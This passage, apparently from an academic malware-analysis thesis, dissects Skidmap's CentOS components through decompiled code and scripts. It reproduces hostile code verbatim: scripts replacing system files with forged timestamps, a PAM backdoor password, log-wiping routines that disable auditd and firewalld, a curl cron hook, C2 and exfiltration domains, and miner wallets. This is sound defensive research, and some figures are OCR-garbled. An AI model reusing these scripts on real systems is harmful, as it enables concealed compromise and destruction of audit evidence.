Opposing to "/cos8/install-net.sh", the "/cos7/install-net.sh" was not empty. It was already known from the analysis of "centos" function that "install-net.sh" would be executed with an argument being passed to it, but the possible value could not be clarified from the code analysis (Figure 5.2.7.5).

42	<pre>thunk_FUN_00400346(&local_a8,param_1,3);</pre>
81	}
82	sprintf_chk(local_78 ,1,0x40,"./install-net.sh %s",& <mark>local_a8</mark>);
83	<pre>system((char *)local_78);</pre>
84	<pre>system("/bin/rm -rf /usr/include/cos*");</pre>
85	if ((int)uVar7 == 8) {
	Figure 5.2.7.5 – the argument of "install-net.sh"

While examining the installation script, it was evident that the argument was defining the file that would replace the "/etc/init.d/network" file. Moreover, the timestamp would be modified based on the file being transferred (Figure 5.2.7.6).

Linux Malware Analysis - A Skidmap case study

```
install-net.sh
  Open 👻
           Æ
                                           Save
                                                  ≡
                                                             ×
                             ~/Skidmap/cos7
#!/bin/bash
ver="7.4"
if [ $# -eq 1 ];then
       ver=$1
fi
cd bin
/bin/mv network-$1 /etc/init.d/network
if [ $ver = "7.6" ];then
        touch -d "2018-08-24 14:53:27" /etc/init.d/network
elif [ $ver = "7.7" ];then
        touch -d "2018-08-24 14:53:27" /etc/init.d/network
elif [ $ver = "7.8" ];then
        touch -d "2018-08-24 14:53:27" /etc/init.d/network
elif [ $ver = "7.5" ];then
        touch -d "2018-01-03 00:29:40" /etc/init.d/network
elif [ $ver = "7.4" ];then
        touch -d "2017-05-03 18:17:50" /etc/init.d/network
elif [ $ver = "7.3" ];then
        touch -d "2016-09-12 18:47:53" /etc/init.d/network
elif [ $ver = "7.2" ];then
        touch -d "2016-09-12 18:47:53" /etc/init.d/network
elif [ $ver = "7.1" ];then
        touch -d "2014-04-02 23:30:47" /etc/init.d/network
elif [ $ver = "7.0" ];then
        touch -d "2014-04-02 23:30:47" /etc/init.d/network
fi
                       sh 👻 Tab Width: 8 👻
                                              Ln 32, Col 3
                                                                INS
                                                           •
```

Figure 5.2.7.6 - the "cos7/install-net.sh" script

The investigation of "install-net.sh" was originally triggered but an error produced while running the sample on a "CentOS" environment, which was referring that "network-7.9" could not be located, in conjunction with the absence of such a file inside the "cos7" folder. As a result, it was concluded that the function which "Ghidra" was unable to successfully translate, was responsible for storing the version of the system to a variable.

The "install-ssh.sh" installation file would copy the "/sbin/sshd" binary to "/usr/bin/ip6network", in case of the following OSes:

- Centos6.8
- Centos7.4
- Ubuntu14.04.5
- Ubuntu16.04.3

Moreover, "/etc/ssh/ssh_config" would be modified so that the lines starting with "GSSAPIAuthertication" and "GSSAPIDelegate/Credentials" were commented out (Figure 5.2.7.7). It is worth mentioning that this file is not present in "cos8.tar.gz" package.

Linux Malware Analysis –	A Skidmap	case study
--------------------------	-----------	------------

Open 🗸 🖪	install-ssh.sh ~/Skidmap/cos7	Save	_ □	×
#!/bin/bash				
ver=6				
<pre>if [\$# -eq 1];then</pre>				
fi				
<mark>cd</mark> bin				
<pre>if [\$ver -eq 6];then /bin/mv centos /bin/cp /usr/l</pre>	5.8 /usr/lib64/	work		
elif [\$ver -eq 7];th /bin/mv centos	en 7.4 /usr/lib64/	work		
elif [\$ver -eq 14];t /bin/mv ubuntu	nen 14.04.5 /usr/lib/	WOTK		
/bin/cp /usr/l else	ib//sbin/sshd /usr/bin/ip6netwo	ork		
/bin/mv ubuntu /bin/cp /usr/l	l6.04.3 /usr/lib/ ib//sbin/sshd /usr/bin/ip6netwo	ork		
<pre>sed -i 's/GSSAPIAuthen sed -i 's/GSSAPIDelega</pre>	tication/#GSSAPIAuthentication/g' teCredentials/#GSSAPIDelegateCrede	/etc/ ssh /ssh_conf entials/g' /etc/ ss	ig <mark>h/</mark> ssh_con1	ig
	sh 👻 Tab Width	n: 8 👻 🛛 Ln 1, Col 1	12 👻	INS

Figure 5.2.7.7 – The "install-ssh.sh" installation script

5.2.8 Other binaries

Upon inspecting the installation files, it was observed that most of the dropped files were participating in the installation process and it was therefore decided to proceed with their analysis. A brief analysis for these files had already been performed when downloaded (5.2.6) that included their unpacking. Furthermore it was able to proceed with strings inspection, take a glimpse of the code using "Ghidra" and gather public information for other "Skidmap" variants from other analysts [80] [70] [81] [82] .Taking all these under consideration, useful conclusions regarding the purpose of those files were deduced.

5.2.8.1 The "binarypam" and "binarypam8"

This binary is in essence a backdoored version of the standard PAM Unix authentication module. The "pam_sm_authenticate" function normally just calls "unix_verify_password" to perform a check whether the authenticating password is valid. In this specific version of the module there is a hardcoded password illustrated in the figure below (Figure 5.2.8.1.1).

😋 Decompile: pam_sm_authenticate - (binarypam8.bin)				
47	<pre>iVar2 = pam_get_authtok(pamh,6,&p);</pre>			
48	<pre>bVar6 = false;</pre>			
49	bVar7 = iVar2 == 0;			
50	if (bVar7) {			
51	<pre>iVarl = _unix_verify_password(pamh,name,p,ctrl);</pre>			
52	lVar4 = 0x10;			
53	given_password = (byte *)p;			
54	hardcoded_password = (byte *)"Mtm\$%889*G*S3%G";			
	Figure 5.2.8.1.1 – Hardcoded "pam_unix.so" password			

5.2.8.2 The "pamdicks-sugar" binary

The file "/cos7/bin/pamdicks-sugar" is almost identical to the cryptocurrency binary, "miner2", found in Debian distribution (5.2.3) and contains the same CPU miner software (Figure).

C _f D	ecompile: Unde	finedFunction_00400da0 - (up_pamdicks-sugar) 🛛 🧐 🏻 🖓 🛛 🛣	
113	printf("\n	********** cpuminer-opt 3.8.8.5-cpu-pool ***********************************);
114	printf("	A CPU miner with multi algo support and optimized for CPUs");	
115	printf("	with AES_NI and AVX2 and SHA extensions.");	
116	printf("	BTC donation address: 12tdvfF7KmAsihBXQXynT6E6th2c2pByTT\n");	
		Figure 5.2.8.2.1 – The CPU miner software	

As it is illustrated in the figure below (Figure 5.2.8.2.2), the miner contains the same cryptocurrency ("Sugar") and mining pool in which the infected host attempt to connect, as well as the same wallet address in the sugar blockchain that was mentioned in Debian subsection of code analysis. The "pamdicks-sugar" file of "cos8.tar.gz" did not contain any major changes.

83	pcStack296 = "yespowersugar";
84	puStack288 = &DAT_0062f8al;
85	<pre>pcStack280 = "sugar.cpuminerpool.com:443";</pre>
86	puStack272 = &DAT_0062f8c0;
87	<pre>pcStack264 = "sugarlqddpk0wgqtgufenz6z9zh4cjgrehk8ezud42p5q";</pre>
	Figure 5.2.8.2.2 – Cryptocurrency mining pool and wallet address

5.2.8.3 The "pamdicks.org" binary

In case the resources were more than the set threshold, the "pamdicks.org" file would be preferred over the "pamdicks-sugar" one. Therefore, it was suspected that this was also another cryptocurrency miner software.

A deeper inspection revealed various sockets for the victim to try to connect:

- xmr.cpuminerpool.com:3335
- xmr.cpuminerpool.com:443
- pool.minexmr.com:7777
- pool.minexmr.com:80
- dero.cpuminerpool.com:443
- sg.minexmr.com:5555
- dero.ss.dxpool.com:7777
- dero.miner.rocks:30182

However, only some of them could be possibly called inside the "main" function (Figure 5.2.8.3.1):

- dero.cpuminerpool.com:443
- dero.ss.dxpool.com:7777
- xmr.cpuminerpool.com:3335
- xmr.cpuminerpool.com:443
- pool.minexmr.com:7777
- pool.minexmr.com:80

Linux Malware Analysis - A Skidmap case study

```
🔓 Decompile: FUN_004006b0 - (up_pamdicks.org)
        iVarl = connect to pool("dero.cpuminerpool.com",Ox1bb);
163
164
        uVar3 = 0xb;
        if (iVarl != 0) {
165
          iVarl = connect_to_pool("dero.ss.dxpool.com",0xle6l);
166
          if (iVarl == 0) {
167
168
            xmrig = \& local 248;
            uVar3 = 0xb:
169
          }
170
171
          else {
172
            xmrig = &local le8;
173
            uVar3 = 0xb;
174
          }
175
        }
176
      }
177
      else {
        iVarl = connect_to_pool("xmr.cpuminerpool.com",0xd07);
178
        if (iVarl == 0) {
179
          xmrig = &local 3e8;
180
181
          uVar3 = 7;
182
        }
183
        else {
184
          iVarl = connect to pool("xmr.cpuminerpool.com",Ox1bb);
185
          if (iVarl == 0) {
186
            xmrig = &local 3a8;
            uVar3 = 7;
187
          }
188
189
          else {
190
            iVarl = connect to pool("pool.minexmr.com",Oxle61);
191
            if (iVarl == 0) {
              xmrig = &local_368;
192
202
               - 7
```

Figure 5.2.8.3.1 – Possible mining pools

Moreover, two separate wallets were found, one for "monero" and one for "dero" coins, which made sense since the pools were targeting both of those coins.

The "monero" wallet:

 49zeTpiAXTW2sgujzswAGSPcPf5Xw8KkF2efMx3swz6dKYZnsWGDmCzXPf76jee1CxNC hnrgbrxPPJdWi1G5z1XEDGCKZcm

The "dero" wallet:

 dERokwuEQ3mGJNxMoqWpP1UJQUtZVoYKNRa3dMPvcD5K1j8RoBGQzZJJWaR6Fgr5b MMxK8LUdfAAHY8EBgDVxsUPAUZmDjhDJb

Although it was attempted to view the balance of those accounts, no information regarding the transactions was extracted (Figure 5.2.8.3.2).

The version included in "cos8.tar.gz" did not differ dramatically.



5.2.8.4 The "kaudited" binary

The "kaudited" file is of most importance regarding the malware's functionality on "CentOS" systems. After all, its execution happens immediately after the installation process is finished (5.2.4).

The first thing that was noticed during the analysis the "cos7/bin/kaudited" binary was the modification of the "iproute.ko", "netlink.ko" and "cryptov2.ko" kernel modules, based on the kernel version of the system (Figure 5.2.8.4.1).

```
iVarl = access("/lib/udev/ssd control",0);
if (iVarl != 0) {
  chmod("/lib/udev/ssd control",Oxled);
}
lVar2 = open("/lib/udev/ssd control/iproute.ko",&wb);
lVar3 = open("/lib/udev/ssd control/netlink.ko",&wb);
lVar4 = open("/lib/udev/ssd control/cryptov2.ko",&wb);
if ((lVar2 == 0 || lVar3 == 0) || (lVar4 == 0)) {
 uVar5 = 0xfffffff;
  goto LAB 004018b2;
}
if (param 1 == 0x2b5) {
 uVar5 = 0;
 fwrite(&iproute elf,0x43ae0,1,lVar2);
  fwrite(&netlink elf,0xd8d68,1,lVar3);
  fwrite(&cryptov2,0x56c48,1,lVar4);
}
```

Figure 5.2.8.4.1 – Altering "iproute.ko", "netlink.ko" and "cryptov2.ko"

When the kernel modules had been modified, the "pam_unix.so" backdoor was deployed once more. In addition, the security levels of the system were lowered by altering the "/etc/selinux/config".

```
LAB 004007ac:
   pamunixso();
   if (iVar6 == 0) {
     lVarl0 = 0xl0;
     puVarl4 = md5 chechsum;
     while (lVar10 != 0) {
        lVar10 = lVar10 + -1;
       *puVar14 = 0;
        puVar14 = puVar14 + (ulong)bVar15 * -2 + 1;
     }
     md5 calc("/usr/bin/loadxjump",md5 chechsum);
     iVar6 = string compare(md5 chechsum,"a92423ade2af0a35ba9999f488cle948");
     if (iVar6 != 0) {
        system("/bin/rm -f /usr/bin/loadxjump");
        mal_loadxjump_plus_cacert();
     }
     lVarl0 = 0xl0;
     puVarl4 = md5 chechsum;
     while (lVar10 != 0) {
        lVarl0 = lVarl0 + -1;
        *puVar14 = 0;
        puVar14 = puVar14 + (ulong)bVar15 * -2 + 1;
     }
     md5_calc("/usr/bin/systemd-network",md5_chechsum);
     iVar6 = string compare(md5 chechsum,"4be02494cb9d569f4de5a05d9b6a4c9f");
     if (iVar6 != 0) {
        system("/bin/rm -f /usr/bin/systemd-network");
        mal_systemd-network_create();
     }
     lVar10 = 0x10;
     puVarl4 = md5 chechsum;
     while (lVar10 != 0) {
        lVar10 = lVar10 + -1;
        *puVar14 = 0;
        puVar14 = puVar14 + (ulong)bVar15 * -2 + 1;
     }
     md5 calc("/usr/bin/kswaped",md5 chechsum);
     iVar6 = string compare(md5 chechsum, "f882adda86d599bec125c6f3a55062e7");
     if (iVar6 != 0) {
        system("/bin/rm -f /usr/bin/kswaped");
        mal kaudited create();
     3
      lVar10 = 0x10;
     puVarl4 = md5_chechsum;
     while (lVar10 != 0) {
        lVar10 = lVar10 + -1;
        *puVar14 = 0;
        puVar14 = puVar14 + (ulong)bVar15 * -2 + 1;
     }
     md5 calc("/usr/bin/mingety",md5 chechsum);
     iVar6 = string compare(md5 chechsum,"4c5b0444960e80e10aldf7b0bccb8163");
     if (iVar6 != 0) {
        system("/bin/rm -f /usr/bin/mingety");
        mal_mingety_create();
     }
```

Figure 5.2.8.4.2 – Dropping "loadxjump", "systemd-udeved", "kswaped" and "mingety"

Furthermore, the MD5 checksum of the following binaries (Table 5.2.8.4.1) located in "/usr/bin/" folder, was calculated, and compared with the corresponding, hardcoded hashes. If they

did not match, they were removed and replaced with bytes located in the "kaudited" code (Figure 5.2.8.4.2).

Binary	MD5 hash		
loadxjump	a92423ade2af0a35ba9999f488c1e948		
systemd-network	4be02494cb9d569f4de5a05d9b6a4c9f		
kswapped	f882adda86d599bec125c6f3a55062e7		
mingety	4c5b044490e80e10a1df7b0bccb8163		

Finally, the modules were inserted to Linux Kernel via "insmod" commands.

This version of "kaudited" included in the "cos8.tar.gz" created and loaded only one Linux Kernel module, the "netlink.ko" (Figure 5.2.8.4.3).

```
G Decompile: mal_netlink_create - (up_kaudited)
12
13
     iVarl = access("/lib/udev/ssd_control",0);
14
     if (iVarl != 0) {
15
       chmod("/lib/udev/ssd control",Oxled);
16
     }
     lVar2 = fopen("/lib/udev/ssd control/netlink.ko",&wb);
17
     if (lVar2 == 0) {
18
19
       uVar3 = 0xfffffff;
20
     }
21
     else {
22
       if (param 1 == 0x93) {
23
         fwrite(&netlinkko_v1,0x2110a0,1,lVar2);
24
       }
25
       else {
26
         if (param_1 == Oxcl) {
27
           fwrite(&netlinkko_v2,0x222bc8,1,lVar2);
28
          }
29
          else {
30
           if (param_1 == 0x50) {
31
              fwrite(&netlinkko v3,0xle4cl8,1,lVar2);
32
           }
33
         }
34
       }
35
       fclose(lVar2);
36
       actime = 0x4f4595cd;
37
       uStack36 = 0;
38
       modtime = 0x4f4595cd;
39
       uStack28 = 0;
40
       utime(0x4f4595cd,"/lib/udev/ssd_control/netlink.ko",&actime);
41
       actime = 0x4f4595cd;
42
       uStack36 = 0;
43
       modtime = 0x4f4595cd;
44
       uStack28 = 0;
       utime(Ox4f4595cd,"/lib/udev/ssd_control",&actime);
45
       uVar3 = 0;
46
47
     }
48
     return uVar3;
```

Figure 5.2.8.4.3 – The creation of "netlink.ko"

Linux Malware Analysis – A Skidmap case study

```
🔓 Decompile: main - (up_kaudited)
      version = get version();
28
29
     if (version - 0x50U < 0x43) {
30
        mal_netlink_create(0x50);
31
     }
32
     else {
        if (version - 0x93U < 0x2e) {
33
34
          mal_netlink_create(0x93);
35
        }
36
        else {
37
         if (0xc0 < version) {</pre>
            mal netlink create(Oxcl);
38
39
          }
        }
40
     }
41
     pamunixso plus selinux();
42
     pkeeminfo create plus cacert();
43
44
     mal systemd-network create();
45
     mal kswaped create();
46
     mal mingety create();
47
     sprintf chk(local 98, "/%s/%s/%s/%s.ko", &lib, &udev, 0x484939, "netlink");
                  Figure 5.2.8.4.4 – Main functionality of "cos8/bin/kaudited"
```

After getting the current version, the correct "netlink.ko" kernel module was created (Figure 5.2.8.4.3) and the "pamlinx.so" backdoor redeployed. Once again, "/etc/selinux/config" was modified to contain "SELINUX=disabled" and "SELINUXTYPE=targeted". Instead of "loadxjump" the "pkeeminfo" was located and the rest of binaries were created without first comparing them to an MD5 checksum (Figure 5.2.8.4.4, Figure 5.2.8.4.5).

```
fd = fopen("/usr/bin/kswaped",&wb);
if (fd != 0) {
   fwrite(&kswaped_elf,0x147a84,1,fd);
   fclose(fd);
}
chmod("/usr/bin/kswaped",0755);
actime = 0x4f4595cd;
uStack20 = 0;
modtime = 0x4f4595cd;
uStack12 = 0;
utime(0x4f4595cd,"/usr/bin/kswaped",&actime);
return 0;
}
```

Figure 5.2.8.4.5 – The function "mal_kswaped_create"

The LKMs are analyzed in a separate subsection (5.2.8.6).

In the same function where "loadxjump" and "pkeeminfo" were created, the creation of the "/etc/rctlconf/certs/rctl_ca.crt" CA certificate was also encountered. In both "Nethserver" and "CentOS" they were identical (Figure 5.2.8.4.6).

Linux Malware Analysis – A Skidmap case study



Figure 5.2.8.4.6 - The certificated created by "kaudited" of "cos8.tar.gz"

The "loadxjmp" binary was using the configuration file "/etc/rctlconf/rctlcli.cfg" and a modified version of "rctl" (remote Linux control) tool [83]. Through code analysis it found out that the "/var/run/xiscsd" could contain information similar to "rctlcli.cfg" ("wan", "class") though it could not be located during the dynamic code or behavioral analysis.

In addition, a correlation with "rctl.c" and "r1" domain URLs could be made by viewing the "loadxjump" code (Figure 5.2.8.4.7).

Figure 5.2.8.4.7 – TCP keepalive error

The "r1" domain URLs included:

- r1.franceeiffeltowers.com
- r1-443.franceeiffeltowers.com
- r1.googleblockchaintechnology.com
- r1-443.googleblockchaintechnology.com
- r1.howoldareyou999.com
- r1-443.howoldareyou999.com
- r1.mylittlewhitebirds.com
- r1-443.mylittlewhitebirds.com

The next malicious component, that was dropped from "kaudited" [80], is the "/usr/bin/kswaped" binary, which is responsible for the transmission of "/usr/include/ilog.h" and "/usr/include/olog.h" contents (Figure 5.2.8.4.8). Yet again it checked for the presence of those log files and upon success it connected and sent their contents a to "info.onlinetalk.tk" and "info.ipsfwallet.tk. Finally, before those files were removed, they were copied with an additional ".h" extension in their filename.

Figure 5.2.8.4.8 - The core functionality of "kswaped"

Another insteresting file which was dropped yet again by "kaudited" is the "mingety" binary. This one is responsible for prohibiting the analyst from using some well-known process analysis tools. To achieve this, the processes that contain the keywords "sysdig", "unhide" or "busybox" reusult in an unexpected system reboot [84] (Figure 5.2.8.4.9). A simple file renaming though could bypass this protection mechanism, since it is based on a simple "grep" command. It is worth mentioning that "sysdig" and "unhide" made their appearance on "skidmap's" early analysis reports [85].

```
do {
  local_18 = 0;
 iVarl = chk_sysdig(&local_18);
 if (iVarl == 0) {
   iVarl = FUN 0040f130(&local 18,0,10);
   if (iVarl != 0) {
      reboot(0x1234567);
    }
  }
  local 18 = 0;
  iVar1 = chk unhide(&local 18);
 if (iVarl == 0) {
   iVarl = FUN_0040f130(&local_18,0,10);
   if (iVarl != 0) {
      reboot(0x1234567);
   }
  }
  local 18 = 0;
  iVar1 = chk busybox(&local 18);
 if (iVarl == 0) {
   iVarl = FUN 0040f130(&local 18,0,10);
   if (iVarl != 0) {
      reboot(0x1234567);
    }
 }
 usleep(400000);
} while( true );
```

Figure 5.2.8.4.9 – The core functionality of "mingety"

The last binary dropped by "kaudited" is the "systemd-network". It preforms the renaming of the miner to "usr/bin/pamdicks" and it is responsible for its execution.

After every binary had been dropped, the "kaudited" cleared several log files and "cron" schedules (Figure 5.2.8.4.10).

```
{
  int iVarl;
 iVarl = access("/etc/cron.d/ntp",0);
 if (iVarl == 0) {
   system("/bin/rm -f /etc/cron.d/ntp");
  }
 iVarl = access("/etc/cron.hourly/ntp",0);
 if (iVarl == 0) {
   system("/bin/rm -f /etc/cron.hourly/ntp");
 }
 iVarl = access("/var/log/messages",0);
 if (iVarl == 0) {
   system("/bin/echo 0 > /var/log/messages");
  3
 iVarl = access("/var/log/syslog",0);
 if (iVarl == 0) {
   system("/bin/echo 0 > /var/log/syslog");
  }
 iVarl = access("/var/log/kern.log",0);
 if (iVarl == 0) {
   system("/bin/echo 0 > /var/log/kern.log");
  }
 iVarl = access("/var/log/audit/audit.log",0);
 if (iVarl == 0) {
   system("/bin/echo 0 > /var/log/audit/audit.log");
 }
 system("dmesg -c > /dev/null");
  return;
}
```

Figure 5.2.8.4.10 – Clearing log and "cron" files

5.2.8.5 Rest of the dropped binaries

The rest of the binaries included in the file like "ip6network", "rm", "scp", "ss", "ssh" and "wtmp" are altered copies of the legitimate linux files where:

- The "scp" Linux command which is made for securely copying files between Linux systems [14]
- The "ss" Linux command is used to display network socket related information [86]
- The "ssh" Linux command is used to loggin into a remote shell and can also be used to to execute a command on a remote system [14]
- The "wtmp" is a Linux file containing all the data of "utmp" which holds all the logs of the logins/logouts of users and many other system events [87].
- As it was already figured out during the investigation of the "installation-ssh.sh" script file (5.2.7), the "ip6network" is a copy of "/sbin/sshd".
- By viewing the code of the "rm" binary, it was identified that it is related with "/var/spool/cron/root" which indicates a scheduled activity. Also, a string that indicates a scheduled request via "curl" or "url" is evident (Figure 5.2.8.5.1). The requested URL though could not be retrieved.

😋 Decompile: isrm - (up_rm)				
127	((char *)local_118,(allocator *)"echo >> /var/spool/cron/root");			
128	/* try { // try from 00404e8e to 00404eal has its CatchHandler @ 00404ea4 */			
129	<pre>exec(local_128);</pre>			
130	std::basic_string <char,std::char_traits<char>,std::allocator<char>>::_ZNSsD1Ev</char></char,std::char_traits<char>			
131	((basic_string <char,std::char_traits<char>,std::allocator<char>> *)local_128);</char></char,std::char_traits<char>			
132	/* try { // try from 00404eca to 00404ece has its CatchHandler @ 00404edl */			
133	std::basic_string <char,std::char_traits<char>,std::allocator<char>>::_ZNSsD1Ev(local_118);</char></char,std::char_traits<char>			
134	<pre>std::allocator<char>::~allocator(&local_109);</char></pre>			
135	<pre>bVarl = IsFileExist("/usr/bin/curl");</pre>			
136	if (bVarl == false) {			
137	<pre>bVarl = IsFileExist("/usr/bin/url");</pre>			
138	if (bVarl != false) {			
139	std::operator+ <char,stdchar_traits<char>,stdallocator<char>></char></char,stdchar_traits<char>			
140	((char *)local_b8,			
141	<pre>(basic_string<char,stdchar_traits<char>,stdallocator<char>> *)</char></char,stdchar_traits<char></pre>			
142	"echo \"*/6 * * * * url -fsSL ");			

Figure 5.2.8.5.1 – The malicious "rm" binary

Finally, the "system-udeved.service" file was dropped on CentOS v8 systems where kaudited is renamed to systemd.udeved (Figure 5.2.8.5.2).

<pre>remnux@remnux:~/Downloads/cos8/bin\$ cat systemd-udeved.service [Unit]</pre>
Description=systemd-udeved
After=systemd-sysctl.service network.target dbus.service
[Service]
#Type=forking
Type=notify
ExecStart=/usr/bin/systemd-udeved
ExecReload=/usr/bin/systemd-udeved
ExecStop=/usr/bin/systemd-udeved
#PrivateTmp=true
KillMode=process
Restart=on-failure
RestartSec=42s
[Install]
WantedBy=multi-user.target
Figure 5.2.8.5.2 – The "system-udeved.service" file

5.2.8.6 Kernel Modules

The kernel module "netlink.ko" is installed via the "kaudited" binary as previously mentioned in CentOS 8. It will not be visible in the list of loaded modules and it performs various techniques to hide any malicious activity related to miner. As it is evident in the figure below (Figure 5.2.8.6.1), the module initiates some functionalities regarding the protection and concealment of the rootkit, then it disables the "write-protected" permissions and performs various techniques to hide the TCP and UPD traffic related to miner and it also hides the CPU usage on the infected machine.



Figure 5.2.8.6.1 – The "cos8.tar.gz" "netlink.ko" module

On the other hand, at "CentOS" v7 there were 3 modules instead, "iproute.ko", "netlink.ko" (which is similar to that found on "CentOS v8"), and "cryptov2.ko".



From the "iproute.ko" module it was evident that the author had maliciously edited the "getdents" function (Figure 5.2.8.6.2), which is a systemic function responsible for viewing the contents of directories [88]. The files that the author hid are:

- kswaped
- kaudited
- ip6network
- ip4network
- systemd-network
- xpropd
- xcond
- pluto

- mingety
- xiscsd
- tplinkd
- pascald
- gemdos2d
- gloofields
- hopformdit
- pkeeminfo
- pamdicks
- rxmlb2
- mdpsloads
- infiniex
- Izmoinfo
- picsmanager
- perkiseek
- sequemanx
- oddobjump
- pdxmlmrg
- mpidrubit
- hansiupxd
- helpmaninfo
- mpartinconf
- raid.ko
- iptable_mac.ko
- snd_pcs.ko
- usb_pcs.ko
- ipv6_kac.ko
- usb_control
- S94ip6netwok
- S95systemd-network
- pptpctrl
- ndptxeinfo
- libxml2info
- pkeeminfo (once more)
- grub2-infolist
- loadpixcare
- loadxjump
- irqbalanced
- libpcmcia.so
- Id.so.preload
- vpnserver
- ssd_control
- iproute.ko
- cryptov2.ko
- acpi_console.ko
- raid_console.ko
- ilog.h
- olog.h
- tinymapper
- udp2raw
- tinyvpn
- rctlconf
- rctlcli
- rctlser

- rctl_cert.pem
- rctl_priv.pem
- rctl_ca.crt
- rctlcli.cfg

The "crypto.v2" kernel module's sole purpose is to observe specific network traffic. More specifically, it installs two "netfilter" hooks in the kernel that will inspect incoming traffic and will allow any packet that is not TCP or UDP and in case of TCP or UDP, it will selectively let the traffic pass or not according to certain ports (Figure 5.2.8.6.3).

Cf	Decompile: cryptov2_init - (cryptov2.ko) 🤣 📭 🛃 🖶 💌	X
1 2 3 4	<pre>int cryptov2_init(void) {</pre>	•
5	<pre>try_module_get(&this_module); hideModule();</pre>	
7	nf_register_hooks(ipt_ops,2);	
8	return 0; }	
C.	Decembile: beek less) in funs (eninter/2 ke)	×
5	{	
6	byte *puvarl;	
7	ushort *puvar2;	
8	ushort port;	
10	fentry ();	
11	if ((skb == (sk_buff *)0x0) (puvarl = skb->head + skb->network_header, puvarl == (byte *)0x0))	
12	{	
13	return 1;	
15	if (puvar][9] == 6) {	
16	puvar2 = (ushort *)(skb->data + ((*puvar1 & 0xf) << 2));	
17	if (puvar2 == (ushort *)0x0) {	
18	return 1;	
19		
20	if ((((puvar2[1]) = 62465) && (2 < (ushort)(port - 0xd05))) && (port != 4444)) && (port != 5555)	
22) {	
23	if (((port != 6666) && (port != 7777)) && ((port != 8888 && (port != 8990)))) {	
24	if (port == 443) {	
25	return 5;	
20	if (port == 80) f	
28	return 5;	
29	}	
30	if (0x31 < (ushort)(port + 0x347c)) {	
31	return (-(uint)((ushort)(port + 12436) < 0x32) & 4) + 1;	
32		
34	return 5;	
35	}	

Figure 5.2.8.6.3 – Analyzing "crytpov2"

```
else {
    if (param l < Oxe6) {
      if (param 1 != 0x7b) goto LAB 00401b08;
      uVar2 = 0;
      fwrite(&iproute v3,251513,1,iproute.ko);
      fwrite(&netlink v3,806106,1,netlink.ko);
      fwrite(&cryptov2 v3,317674,1,cryptov2.ko);
    }
    else {
      if (param 1 == 0x147) {
        uVar2 = 0;
        fwrite(&iproute v4,264822,1,iproute.ko);
        fwrite(&netlink v4,834887,1,netlink.ko);
        fwrite(&cryptov2 v4,330839,1,cryptov2.ko);
      }
      else {
        if (param 1 != 0x202) goto LAB 00401b08;
        uVar2 = 0;
        fwrite(&iproute v5,272664,1,iproute.ko);
        fwrite(&netlink v5,868472,1,netlink.ko);
        fwrite(&cryptov2 v5,347784,1,cryptov2.ko);
      }
    }
  }
}
else {
  if (param 1 == 0x3bd) {
    uVar2 = 0;
    fwrite(&iproute v6,295832,1,iproute.ko);
    fwrite(&netlink v6,979728,1,netlink.ko);
    fwrite(&cryptov2 v6,421136,1,cryptov2.ko);
  }
```

Figure 5.2.8.6.4 – Multiple LKM versions

All the LKMs that could possibly infect a "CentOS" system were extracted from the "kaudited" files (Figure 5.2.8.6.4) by applying the same technique that was used for the extraction of "binarypam" and "binarypam8" binaries (5.2.1). When downloaded, they were saved to a different folder (v1 to v9) so that they are grouped together. In order to calculate all the MD5 checksums, the following command was entered on the terminal:

• \$ md5sum v*/*

A lot of the LKMs could not be found via their MD5 hash on the VT online platform. For this reason, they were uploaded. The newly uploaded files were identified by significantly fewer AV engines (4 – 8 engines) than those that were uploaded on previous dates (7 – 30 engines).

LKM	MD5
	e2573d2cb355821ada600b30223f1fed
	5fd025a785397c8d4136024440f049c7
	a36460ead268ce98095fb03aa5e1a9ca
	2ee204622154a0f969ed72f2812ba2f0
iproute.ko	22732077665d5911d5eb0e0f886c80aa
	19ffede9e27db53ef8e6ec9ad6e72442
	9c54f0a492f3246dcdbe94c2cb9f010c
	b116a39ed0aab864f749126f8040ef6e
	f4200fe0b7830f02cbb9a4bc4fb21ff2
	108aaeeb98f823e6537a78ed2e8b3149
	50c5c713dec7d851dfb66d6dbdab105c
	fd82981da07001593bc8ed05eb590c81
	6d417f7e0c6c1efa04de496e7f929dc3
netlink.ko	b09597414e0cdd770199c38bc42ddc2a
	4fa0361bed25459e0915bab92ccc5a8f
	aaf05cf0a5474a57c9c3637d40eba73d
	76d5be89fee2eb8706720115f13499aa
	342afdc4b589cc99de4eee246467ef8f
	7b9f41526f66af2e862616f0db9bcb4c
	0f53a6613e638dee2280322a753217d4
	2ee204622154a0f969ed72f2812ba2f0
	502ef9ac3c9e41f19eb4a1fd60d79b4b
cryptov2.ko	a0fad3be742656a5c3b7da3e6a2e7b68
	31add101b8007c771eeaad335fe3f06f
	506663c0216a29694db598ce2d379d7d
	01faddbb9db6c5dd54654dd9468bfb65
	0c6e5b9f04fcff56ed882e112abea263

Table 5.2.8.6.1 – The LKMs of "CentOS" v7 and their MD5 hash

For the LKMs that were related to "CentOS" v8 systems, only 2 AV engines (Avast, AVG) were able to identify them as malicious.

|--|

LKM	MD5
	b2eade99d74995c22f7773a0dda9cf58
netlink.ko	ce3f759be3b933e72a3e63f0208679b4
	dcd83a1a7d2d5dcd1023ff930e745dac

5.2.9 Other script files

The "clear.sh" script file located in the uncompressed "cos7" and "cos8" folders would stop and disable the "auditd" [89], "abrtd" (automated bug reporting tool's daemon) [90] and "firewalld" [91] daemons, as well as it would clear the following log files from "/var/log" directory (Figure 5.2.9.1):

- messages
- secure
- yum.log
- cron
- audit.log

- auth.log
- syslog
- lastlog
- btmp

	ar	naryllis@	soxband:~	/Skidmap/	cos7	-	×
File Ed	lit View	Search	Terminal	Help			
systemo systemo systemo systemo systemo	tl stop tl disa tl stop tl disa tl stop	audito ble abn abrtd ble fin firewa	d rtd rewalld alld				
if [-f fi	/var/l echo "	og/mess "> /vai	sages];† r/log/mes	then ssages			
if [-f fi	/var/l echo "	og/secu "> /vai	ure];the r/log/see	en cure			
if [-f fi	/var/l echo "	og/yum. "> /vai	log];tH /log/yur	nen n.log			
if [-f fi	'/var/l echo "	og/crom "> /van	n];then r/log/cro	n			
if [-f fi	ˈ/var/l echo "	og/audi "> /vai	it/audit r/log/aud	log];t lit/audi	hen t.log		

Figure 5.2.9.1 – The "clear.sh" script

The "last.sh" was located on both "cos7" and "cos8" folders as well. By using this script, the attacker is using the "wtmpclean" software [92] to alter login records of "wtmp" [87] (Figure 5.2.9.2).



By using this script, the "class" value of the "/var/run/xiscsd" file can be modified accordingly to the given argument (Figure 5.2.9.3). This value is used by a modified version of "rctl" software [83] to remotely control the system.



5.3 Behavioral Analysis

